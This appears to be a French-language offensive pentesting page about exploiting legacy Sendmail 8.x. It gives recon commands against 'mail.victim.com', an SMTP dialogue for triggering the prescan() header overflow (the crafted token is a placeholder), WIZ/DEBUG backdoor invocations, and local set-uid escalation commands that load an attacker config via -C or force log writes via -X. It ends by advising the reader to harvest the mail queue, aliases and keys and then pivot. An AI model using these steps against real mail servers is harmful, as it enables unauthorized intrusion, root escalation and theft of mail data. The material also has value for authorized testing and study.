Sendmail est le MTA Unix d'origine, et sa surface d'attaque se comprend le mieux historiquement parce que tant d'hôtes exécutent encore d'anciennes versions 8.x. Trois fils comptent. La fonction prescan(), qui tokenise les adresses dans les en-têtes, présentait une faille de corruption mémoire à distance : un en-tête d'adresse forgé déborde son tampon d'analyse, donnant le contrôle du processus sendmail. Bien plus tôt, les commandes SMTP DEBUG et WIZ étaient des portes dérobées littérales : DEBUG permettait à un client distant de délivrer vers un programme plutôt qu'une boîte aux lettres (le vecteur utilisé par le ver Morris de 1988), et WIZ faisait basculer la connexion vers un shell privilégié lorsqu'un mot de passe de wizard était défini ou absent. Localement, sendmail est set-uid root et expose des options dangereuses : -C charge un fichier de configuration fourni par l'attaquant et -X écrit un journal vers un chemin choisi par l'attaquant, tous deux exploités pour l'élévation de privilèges sur les versions vulnérables.
Identifier#
nc mail.victim.com 25
# 220 host.victim.com ESMTP Sendmail 8.14.4/8.14.4; Mon, 06 Oct 2026 ...
nmap -p25 -sV --script smtp-commands mail.victim.com
# smtp-commands may list DEBUG / WIZ on ancient servers; read the version band
sendmail -d0.1 -bt < /dev/null # local: prints compiled version and options
Le numéro de version 8.x/8.x détermine quel fil s'applique : la corruption de prescan() affecte une bande 8.12/8.13 spécifique ; DEBUG/WIZ n'existent que sur des installations dignes d'un musée ; les problèmes locaux -C/-X suivent des versions 8.x particulières.
Mécanisme et déclencheurs guidés#
Le chemin d'analyse des en-têtes s'atteint simplement en soumettant un message dont l'en-tête d'adresse est malformé de la manière que prescan() traite mal ; la corruption se produit pendant que le démon le tokenise, avant toute décision de boîte aux lettres :
MAIL FROM:<a@attacker.test>
RCPT TO:<victim@localhost>
DATA
From: <crafted-oversized-and-malformed-address-token-string>
Subject: x
body
.
La délivrance du message pousse prescan() sur le jeton forgé et déclenche le débordement sur une version vulnérable. Les portes dérobées héritées s'invoquent directement dans le dialogue SMTP :
WIZ
220 host ready for wizard # or "500" where disabled; a shell prompt where not
DEBUG
200 Debug set # enables delivery-to-program on the vulnerable era
Localement, les vecteurs set-uid sont des invocations en ligne de commande, par exemple en pointant sendmail vers une configuration que vous contrôlez ou en forçant une écriture de journal dans un emplacement sensible :
sendmail -C /tmp/evil.cf -bm # load attacker config as root (vulnerable builds)
sendmail -X /path/under/attack -bp # arbitrary log write via the -X option
Variantes et suites#
- Traitez
DEBUG/WIZcomme l'indice d'un hôte extrêmement ancien, probablement vulnérable par ailleurs, plutôt que comme un vecteur moderne fiable. - La corruption de
prescan()est le chemin distant crédible sur les 8.x héritées ; les options-C/-Xsont une élévation locale post-point-d'appui puisque sendmail est set-uid root. - Le succès est une exécution de code en tant qu'utilisateur sendmail (souvent root pour le démon), sur un hôte de messagerie en périmètre : récoltez la file, les alias et les clés, puis pivotez.